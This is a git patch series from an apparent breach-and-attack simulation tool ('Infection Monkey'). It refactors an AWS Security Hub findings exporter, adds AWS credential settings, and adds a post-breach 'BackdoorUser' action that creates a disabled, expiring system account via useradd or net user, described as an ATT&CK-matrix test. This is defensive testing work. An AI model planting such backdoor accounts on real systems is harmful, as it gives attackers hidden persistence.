instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_shared_passwords_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", "Title": "Multiple users have the same password", - "Description": "Some users are sharing passwords, this should be fixed by changing passwords.", - "Remediation": { - "Recommendation": { - "Text": "These users are sharing access password: {0}.".format(issue['shared_with']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=1, + title="Multiple users have the same password", + description="Some users are sharing passwords, this should be fixed by changing passwords.", + recommendation="These users are sharing access password: {0}.".format(issue['shared_with']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_shellshock_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 10, - "Normalized": 100 - }, "RecordState": "ACTIVE", "Title": "Machines are vulnerable to 'Shellshock'", - "Description": "Update your Bash to a ShellShock-patched version.", "Remediation": { - "Recommendation": { - "Text": "The machine {0} ({1}) is vulnerable to a ShellShock attack. " - "The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a shell injection attack on the paths: {3}.".format( - issue['machine'], issue['ip_address'], issue['port'], issue['paths']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=10, + title="Machines are vulnerable to 'Shellshock'", + description="Update your Bash to a ShellShock-patched version.", + recommendation="The machine {0} ({1}) is vulnerable to a ShellShock attack. " + "The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a shell injection attack on the paths: {3}.".format( + issue['machine'], issue['ip_address'], issue['port'], issue['paths']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_smb_password_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.", - "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( - issue['username']), "Remediation": { - "Recommendation": { - "Text": "The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB protocol with user {2} and its password.".format( - issue['machine'], issue['ip_address'], issue['username']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=1, + title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", + description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( + issue['username']), + recommendation="The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB protocol with user {2} and its password.".format( + issue['machine'], issue['ip_address'], issue['username']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_wmi_password_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.", - "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.", - "Remediation": { - "Recommendation": { - "Text": "The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over the WMI protocol with user {username} and its password.".format( - machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=1, + title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", + description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.", + recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over the WMI protocol with user {username} and its password.".format( + machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_wmi_pth_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.", - "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( - issue['username']), "Remediation": { - "Recommendation": { - "Text": "The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a pass-the-hash attack over WMI protocol with user {username}".format( - machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=1, + title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", + description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( + issue['username']), + recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a pass-the-hash attack over WMI protocol with user {username}".format( + machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_rdp_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.", - "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( - issue['username']), "Remediation": { - "Recommendation": { - "Text": "The machine machine ({ip_address}) is vulnerable to a RDP attack. The Monkey authenticated over the RDP protocol with user {username} and its password.".format( - machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=1, + title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", + description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( + issue['username']), + recommendation="The machine machine ({ip_address}) is vulnerable to a RDP attack. The Monkey authenticated over the RDP protocol with user {username} and its password.".format( + machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_shared_passwords_domain_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", "Title": "Multiple users have the same password.", - "Description": "Some domain users are sharing passwords, this should be fixed by changing passwords.", - "Remediation": { - "Recommendation": { - "Text": "These users are sharing access password: {shared_with}.".format( - shared_with=issue['shared_with']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=1, + title="Multiple users have the same password.", + description="Some domain users are sharing passwords, this should be fixed by changing passwords.", + recommendation="These users are sharing access password: {shared_with}.".format( + shared_with=issue['shared_with']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_shared_admins_domain_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Shared local administrator account - Different machines have the same account as a local administrator.", - "Description": "Make sure the right administrator accounts are managing the right machines, and that there isn\'t an unintentional local admin sharing.", - "Remediation": { - "Recommendation": { - "Text": "Here is a list of machines which the account {username} is defined as an administrator: {shared_machines}".format( - username=issue['username'], shared_machines=issue['shared_machines']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=1, + title="Shared local administrator account - Different machines have the same account as a local administrator.", + description="Make sure the right administrator accounts are managing the right machines, and that there isn\'t an unintentional local admin sharing.", + recommendation="Here is a list of machines which the account {username} is defined as an administrator: {shared_machines}".format( + username=issue['username'], shared_machines=issue['shared_machines']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_strong_users_on_crit_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Mimikatz found login credentials of a user who has admin access to a server defined as critical.", - "Description": "This critical machine is open to attacks via strong users with access to it.", - "Remediation": { - "Recommendation": { - "Text": "The services: {services} have been found on the machine thus classifying it as a critical machine. These users has access to it:{threatening_users}.".format( - services=issue['services'], threatening_users=issue['threatening_users']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=1, + title="Mimikatz found login credentials of a user who has admin access to a server defined as critical.", + description="This critical machine is open to attacks via strong users with access to it.", + recommendation="The services: {services} have been found on the machine thus classifying it as a critical machine. These users has access to it:{threatening_users}.".format( + services=issue['services'], threatening_users=issue['threatening_users']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_struts2_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 10, - "Normalized": 100 - }, "RecordState": "ACTIVE", "Title": "Struts2 servers are vulnerable to remote code execution.", - "Description": "Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.", "Remediation": { - "Recommendation": { - "Text": "Struts2 server at {machine} ({ip_address}) is vulnerable to remote code execution attack." - " The attack was made possible because the server is using an old version of Jakarta based file upload Multipart parser.".format( - machine=issue['machine'], ip_address=issue['ip_address']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=10, + title="Struts2 servers are vulnerable to remote code execution.", + description="Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.", + recommendation="Struts2 server at {machine} ({ip_address}) is vulnerable to remote code execution attack." + " The attack was made possible because the server is using an old version of Jakarta based file upload Multipart parser.".format( + machine=issue['machine'], ip_address=issue['ip_address']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_weblogic_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 10, - "Normalized": 100 - }, "RecordState": "ACTIVE", "Title": "Oracle WebLogic servers are vulnerable to remote code execution.", - "Description": "Install Oracle critical patch updates. Or update to the latest version. " \ - "Vulnerable versions are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.", - "Remediation": { - "Recommendation": { - "Text": "Oracle WebLogic server at {machine} ({ip_address}) is vulnerable to remote code execution attack." - " The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware (subcomponent: WLS Security).".format( - machine=issue['machine'], ip_address=issue['ip_address']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=10, + title="Oracle WebLogic servers are vulnerable to remote code execution.", + description="Install Oracle critical patch updates. Or update to the latest version. " \ + "Vulnerable versions are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.", + recommendation="Oracle WebLogic server at {machine} ({ip_address}) is vulnerable to remote code execution attack." + " The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware (subcomponent: WLS Security).".format( + machine=issue['machine'], ip_address=issue['ip_address']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_hadoop_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 10, - "Normalized": 100 - }, "RecordState": "ACTIVE", "Title": "Hadoop/Yarn servers are vulnerable to remote code execution.", - "Description": "Run Hadoop in secure mode, add Kerberos authentication.", "Remediation": { - "Recommendation": { - "Text": "The Hadoop server at {machine} ({ip_address}) is vulnerable to remote code execution attack." - " The attack was made possible due to default Hadoop/Yarn configuration being insecure." - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=10, + title="Hadoop/Yarn servers are vulnerable to remote code execution.", + description="Run Hadoop in secure mode, add Kerberos authentication.", + recommendation="The Hadoop server at {machine} ({ip_address}) is vulnerable to remote code execution attack." + "The attack was made possible due to default Hadoop/Yarn configuration being insecure.", + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 8f72e1b17..8861e8d85 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -8,7 +8,7 @@ from enum import Enum from six import text_type from cc.database import mongo -from cc.resources.aws_exporter import AWSExporter +from cc.report_exporter_manager import ReportExporterManager from cc.services.config import ConfigService from cc.services.edge import EdgeService from cc.services.node import NodeService @@ -723,7 +723,7 @@ class ReportService: 'latest_monkey_modifytime': monkey_latest_modify_time } } - ReportService.export_to_exporters(report) + ReportExporterManager().export(report) mongo.db.report.drop() mongo.db.report.insert_one(report) @@ -755,8 +755,3 @@ class ReportService: return mongo.db.edge.count( {'exploits': {'$elemMatch': {'exploiter': exploit_type, 'result': True}}}, limit=1) > 0 - - @staticmethod - def export_to_exporters(report): - for exporter in ReportService.get_active_exporters(): - exporter.handle_report(report) diff --git a/monkey/monkey_island/report_exporter_manager.py b/monkey/monkey_island/report_exporter_manager.py deleted file mode 100644 index 7e9afc8a9..000000000 --- a/monkey/monkey_island/report_exporter_manager.py +++ /dev/null @@ -1,40 +0,0 @@ -from cc.environment.environment import load_env_from_file, AWS -from cc.resources.aws_exporter import AWSExporter -import logging - -logger = logging.getLogger(__name__) - - -class Borg: - _shared_state = {} - - def __init__(self): - self.__dict__ = self._shared_state - - -class ReportExporterManager(Borg): - def __init__(self): - Borg.__init__(self) - self._exporters_list = [] - self._init_exporters() - - def get_exporters_list(self): - return self._exporters_list - - def _init_exporters(self): - self._init_aws_exporter() - - def _init_aws_exporter(self): - if str(load_env_from_file()) == AWS: - self._exporters_list.append(AWSExporter) - - def export(self): - try: - for exporter in self._exporters_list: - exporter().handle_report() - except Exception as e: - logger.exception('Failed to export report') - -if __name__ == '__main__': - print ReportExporterManager().get_exporters_list() - print ReportExporterManager().get_exporters_list() From 4b06c1e3f4a2671f258d3032b0f965ee1703ad45 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 31 Dec 2018 14:58:14 +0200 Subject: [PATCH 46/89] - added 'author' to each file. --- monkey/monkey_island/cc/exporter_init.py | 1 + monkey/monkey_island/cc/report_exporter_manager.py | 2 ++ monkey/monkey_island/cc/resources/aws_exporter.py | 3 +++ 3 files changed, 6 insertions(+) diff --git a/monkey/monkey_island/cc/exporter_init.py b/monkey/monkey_island/cc/exporter_init.py index c2285772e..0fc32fccb 100644 --- a/monkey/monkey_island/cc/exporter_init.py +++ b/monkey/monkey_island/cc/exporter_init.py @@ -2,6 +2,7 @@ from cc.environment.environment import load_env_from_file, AWS from cc.report_exporter_manager import ReportExporterManager from cc.resources.aws_exporter import AWSExporter +__author__ = 'maor.rayzin' def populate_exporter_list(): diff --git a/monkey/monkey_island/cc/report_exporter_manager.py b/monkey/monkey_island/cc/report_exporter_manager.py index 210f28966..a6a983a20 100644 --- a/monkey/monkey_island/cc/report_exporter_manager.py +++ b/monkey/monkey_island/cc/report_exporter_manager.py @@ -1,5 +1,7 @@ import logging +__author__ = 'maor.rayzin' + logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index 8890342dd..0c1d51d1a 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -9,6 +9,9 @@ from cc.services.config import ConfigService from cc.environment.environment import load_server_configuration_from_file from common.cloud.aws import AWS +__author__ = 'maor.rayzin' + + logger = logging.getLogger(__name__) AWS_CRED_CONFIG_KEYS = [['cnc', 'aws_config', 'aws_access_key_id'], From d3a42792fb0605049c9d987cb2a7b6828fe45a0d Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 31 Dec 2018 18:41:56 +0200 Subject: [PATCH 47/89] Remove dead line of code in config.py --- monkey/infection_monkey/config.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 4a63c082b..74a98feb1 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -7,8 +7,6 @@ from abc import ABCMeta from itertools import product import importlib -importlib.import_module('infection_monkey', 'network') - __author__ = 'itamar' GUID = str(uuid.getnode()) From 985f45d8de668e6f470643b652a46da7ad0a19e8 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 2 Jan 2019 14:26:36 +0200 Subject: [PATCH 48/89] - Added exporters list population - some pep8 - Added a report json cleanup for mongo insertion, sometimes machine names are used as keys and these names might contain '.' which mongodb doesn't allow. - Fixed a typo and aws sec hub protocol requirements --- monkey/monkey_island/cc/exporter_init.py | 1 + monkey/monkey_island/cc/main.py | 4 +-- .../cc/resources/aws_exporter.py | 4 +-- .../cc/services/config_schema.py | 28 +++++++++++++++++-- monkey/monkey_island/cc/services/report.py | 16 ++++++++++- 5 files changed, 46 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/exporter_init.py b/monkey/monkey_island/cc/exporter_init.py index 0fc32fccb..9b25469f9 100644 --- a/monkey/monkey_island/cc/exporter_init.py +++ b/monkey/monkey_island/cc/exporter_init.py @@ -4,6 +4,7 @@ from cc.resources.aws_exporter import AWSExporter __author__ = 'maor.rayzin' + def populate_exporter_list(): manager = ReportExporterManager() diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index a6ded6628..713e83b96 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -18,6 +18,7 @@ json_setup_logging(default_path=os.path.join(BASE_PATH, 'cc', 'island_logger_def logger = logging.getLogger(__name__) from cc.app import init_app +from cc.exporter_init import populate_exporter_list from cc.utils import local_ip_addresses from cc.environment.environment import env from cc.database import is_db_server_up @@ -34,8 +35,7 @@ def main(): logger.info('Waiting for MongoDB server') time.sleep(1) - - + populate_exporter_list() app = init_app(mongo_url) if env.is_debug(): app.run(host='0.0.0.0', debug=True, ssl_context=('monkey_island/cc/server.crt', 'monkey_island/cc/server.key')) diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index 0c1d51d1a..bd6ef3a10 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -131,7 +131,7 @@ class AWSExporter(Exporter): "Id": instance_arn.format(instance_id=instance_id) }] else: - return [{'Type': 'Other'}] + return [{'Type': 'Other', 'Id': 'None'}] @staticmethod def _build_generic_finding(severity, title, description, recommendation, instance_arn, instance_id=None): @@ -140,7 +140,7 @@ class AWSExporter(Exporter): "Product": severity, "Normalized": 100 }, - 'Resource': AWSExporter._get_finding_resource(instance_id, instance_arn), + 'Resources': AWSExporter._get_finding_resource(instance_id, instance_arn), "Title": title, "Description": description, "Remediation": { diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index d4d294afc..bb5b10cbb 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -1,6 +1,5 @@ WARNING_SIGN = u" \u26A0" - SCHEMA = { "title": "Monkey", "type": "object", @@ -624,6 +623,31 @@ SCHEMA = { "description": "The current command server the monkey is communicating with" } } + }, + 'aws_config': { + 'title': 'AWS Configuration', + 'type': 'object', + 'description': 'These credentials will be used in order to export the monkey\'s findings to the AWS Security Hub.', + 'properties': { + 'aws_account_id': { + 'title': 'AWS account ID', + 'type': 'string', + 'description': 'Your AWS account ID that is subscribed to security hub feeds', + 'default': '' + }, + 'aws_access_key_id': { + 'title': 'AWS access key ID', + 'type': 'string', + 'description': 'Your AWS public access key ID, can be found in the IAM user interface in the AWS console.', + 'default': '' + }, + 'aws_secret_access_key': { + 'title': 'AWS secret access key', + 'type': 'string', + 'description': 'Your AWS secret access key id, you can get this after creating a public access key in the console.', + 'default': '' + } + } } } }, @@ -852,4 +876,4 @@ SCHEMA = { "options": { "collapsed": True } -} \ No newline at end of file +} diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 8861e8d85..a9edbaf48 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -3,6 +3,8 @@ import functools import ipaddress import logging + +from bson import json_util from enum import Enum from six import text_type @@ -725,10 +727,22 @@ class ReportService: } ReportExporterManager().export(report) mongo.db.report.drop() - mongo.db.report.insert_one(report) + mongo.db.report.insert_one(ReportService.clean_report_before_mongo_insert(report)) return report + @staticmethod + def clean_report_before_mongo_insert(report_dict): + """ + mongodb doesn't allow for '.' and '$' in a key's name, this function replaces the '.' char with the unicode + \u002E char instead. + :return: + """ + report_as_json = json_util.dumps(report_dict) + report_as_json.replace('.', '\u002E') + return json_util.loads(report_as_json) + + @staticmethod def is_latest_report_exists(): """ From 078470e2575cff48f642d255d2dab3fb0cd7e9cb Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 2 Jan 2019 16:25:26 +0200 Subject: [PATCH 49/89] - added char conversion for mongo insertion, mongodb doesn't allow for '.' in keys names and sometimes machine names might include '.' char in them. We encode with ',,,' and decode back to '.'. --- monkey/monkey_island/cc/services/report.py | 22 +++++++++++++++------- 1 file changed, 15 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index a9edbaf48..46a4ee448 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -727,19 +727,18 @@ class ReportService: } ReportExporterManager().export(report) mongo.db.report.drop() - mongo.db.report.insert_one(ReportService.clean_report_before_mongo_insert(report)) + mongo.db.report.insert_one(ReportService.encode_dot_char_before_mongo_insert(report)) return report @staticmethod - def clean_report_before_mongo_insert(report_dict): + def encode_dot_char_before_mongo_insert(report_dict): """ mongodb doesn't allow for '.' and '$' in a key's name, this function replaces the '.' char with the unicode - \u002E char instead. - :return: + ,,, combo instead. + :return: dict with formatted keys with no dots. """ - report_as_json = json_util.dumps(report_dict) - report_as_json.replace('.', '\u002E') + report_as_json = json_util.dumps(report_dict).replace('.', ',,,') return json_util.loads(report_as_json) @@ -758,10 +757,19 @@ class ReportService: return False + @staticmethod + def decode_dot_char_before_mongo_insert(report_dict): + """ + this function replaces the ',,,' combo with the '.' char instead. + :return: report dict with formatted keys (',,,' -> '.') + """ + report_as_json = json_util.dumps(report_dict).replace(',,,', '.') + return json_util.loads(report_as_json) + @staticmethod def get_report(): if ReportService.is_latest_report_exists(): - return mongo.db.report.find_one() + return ReportService.decode_dot_char_before_mongo_insert(mongo.db.report.find_one()) return ReportService.generate_report() @staticmethod From 077d5365266536685a3fd9d3846465e2167a89cb Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 2 Jan 2019 19:31:03 +0200 Subject: [PATCH 50/89] Add missing dependency --- monkey/infection_monkey/requirements.txt | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/requirements.txt b/monkey/infection_monkey/requirements.txt index 468b748e8..e08cbf4ca 100644 --- a/monkey/infection_monkey/requirements.txt +++ b/monkey/infection_monkey/requirements.txt @@ -14,4 +14,5 @@ six ecdsa netifaces ipaddress -wmi \ No newline at end of file +wmi +pywin32 \ No newline at end of file From 382b95c75d13f8d3129669cf1784cd9e6cd4d65b Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 31 Dec 2018 18:26:46 +0200 Subject: [PATCH 51/89] Add option for post breach actions to configuration --- monkey/infection_monkey/config.py | 6 +++++ monkey/infection_monkey/example.conf | 3 ++- .../cc/services/config_schema.py | 27 ++++++++++++++++++- 3 files changed, 34 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 74a98feb1..6234cd9ff 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -20,6 +20,7 @@ class Configuration(object): # now we won't work at <2.7 for sure network_import = importlib.import_module('infection_monkey.network') exploit_import = importlib.import_module('infection_monkey.exploit') + post_breach_import = importlib.import_module('infection_monkey.post_breach') unknown_items = [] for key, value in formatted_data.items(): @@ -39,6 +40,9 @@ class Configuration(object): elif key == 'exploiter_classes': class_objects = [getattr(exploit_import, val) for val in value] setattr(self, key, class_objects) + elif key == 'post_breach_actions': + class_objects = [getattr(post_breach_import, val) for val in value] + setattr(self, key, class_objects) else: if hasattr(self, key): setattr(self, key, value) @@ -266,5 +270,7 @@ class Configuration(object): extract_azure_creds = True + post_breach_actions = [] + WormConfiguration = Configuration() diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 0779301d2..0bdcc0eb2 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -97,5 +97,6 @@ "timeout_between_iterations": 10, "use_file_logging": true, "victims_max_exploit": 7, - "victims_max_find": 30 + "victims_max_find": 30, + "post_breach_actions" : [] } diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index d4d294afc..0a1ca24d6 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -88,6 +88,19 @@ SCHEMA = { } ] }, + "post_breach_acts": { + "title": "Post breach actions", + "type": "string", + "anyOf": [ + { + "type": "string", + "enum": [ + "BackdoorUser" + ], + "title": "Back door user", + }, + ], + }, "finger_classes": { "title": "Fingerprint class", "type": "string", @@ -276,7 +289,19 @@ SCHEMA = { "type": "boolean", "default": True, "description": "Is the monkey alive" - } + }, + "post_breach_actions": { + "title": "Post breach actions", + "type": "array", + "uniqueItems": True, + "items": { + "$ref": "#/definitions/post_breach_acts" + }, + "default": [ + "BackdoorUser", + ], + "description": "List of actions the Monkey will run post breach" + }, } }, "behaviour": { From 95a2a0e4284cf2a7c94771e43a4e2781ea4cfc63 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 2 Jan 2019 19:31:26 +0200 Subject: [PATCH 52/89] Add backdoor user functionality to Monkey itself. The backdoor user is purposefully disabled --- .../infection_monkey/post_breach/__init__.py | 4 ++ .../infection_monkey/post_breach/add_user.py | 49 +++++++++++++++++++ 2 files changed, 53 insertions(+) create mode 100644 monkey/infection_monkey/post_breach/__init__.py create mode 100644 monkey/infection_monkey/post_breach/add_user.py diff --git a/monkey/infection_monkey/post_breach/__init__.py b/monkey/infection_monkey/post_breach/__init__.py new file mode 100644 index 000000000..3faa2233e --- /dev/null +++ b/monkey/infection_monkey/post_breach/__init__.py @@ -0,0 +1,4 @@ +__author__ = 'danielg' + + +from add_user import BackdoorUser \ No newline at end of file diff --git a/monkey/infection_monkey/post_breach/add_user.py b/monkey/infection_monkey/post_breach/add_user.py new file mode 100644 index 000000000..8551382b7 --- /dev/null +++ b/monkey/infection_monkey/post_breach/add_user.py @@ -0,0 +1,49 @@ +import datetime +import logging +import subprocess +import sys +from infection_monkey.config import WormConfiguration + +LOG = logging.getLogger(__name__) + +# Linux doesn't have WindowsError +try: + WindowsError +except NameError: + WindowsError = None + +__author__ = 'danielg' + + +class BackdoorUser(object): + """ + This module adds a disabled user to the system. + This tests part of the ATT&CK matrix + """ + + def act(self): + LOG.info("Adding a user") + if sys.platform.startswith("win"): + retval = self.add_user_windows() + else: + retval = self.add_user_linux() + if retval != 0: + LOG.warn("Failed to add a user") + else: + LOG.info("Done adding user") + + @staticmethod + def add_user_linux(): + cmd_line = ['useradd', '-M', '--expiredate', + datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER', + WormConfiguration.ms08_067_remote_user_add] + retval = subprocess.call(cmd_line) + return retval + + @staticmethod + def add_user_windows(): + cmd_line = ['net', 